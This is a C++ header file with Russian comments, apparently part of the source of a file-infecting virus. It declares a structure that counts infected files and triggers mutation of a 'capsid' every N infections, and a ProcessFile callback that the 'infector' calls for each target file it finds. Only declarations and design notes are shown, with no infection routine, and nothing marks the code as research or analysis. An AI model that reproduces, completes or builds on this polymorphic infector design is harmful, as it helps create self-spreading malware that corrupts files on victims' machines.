#pragma once

#include "global.hpp"


// мастер-структура используемая при процессинге файлов для их заражения, содержит в себе количество зараженных успешно файлов, а также указатель на конвеерный капсид (*)
// * - капсид передается каждому процессингу, где может мутировать, то есть объект является изменяемым в процессе поиска как на конверее 
// ВНИМАНИЕ! СТРУКТУРА ТОЛЬКО ДЛЯ ПОСЛЕДОВАТЕЛЬНОГО ОДНОПОТОЧНОГО ИСПОЛЬЗОВАНИЯ, ТАК КАК ОНА ИЗМЕНЯЕТСЯ ПОТЕНЦИАЛЬНО КАЖДЫМ ВЫЗОВОМ ProcessFile
// capsid также должен быть уникален под каждый поток
struct capsidProcessingForm
{
	capsid_metadata *capsid;
	ULONG uTotalInfected; // всего заражено файлов, нужно чтобы активировать мутацию каждые N файлов
	ULONG uInfectedSinceMutation; // количество зараженных с момента последней мутации капсида
};

// препроцессинг найденных файлов, здесь находятся коллбеки вызываемые при нахождении нужного файла
namespace preprocessing
{
	// вызывается при нахождении файла инфектором
	// lpParameter - указатель на капсид
	DWORD CALLBACK ProcessFile(PWCHAR pwFilePath, PWIN32_FIND_DATAW pfnd, LPBYTE lpParameter, SIZE_T dwParameterSize);

}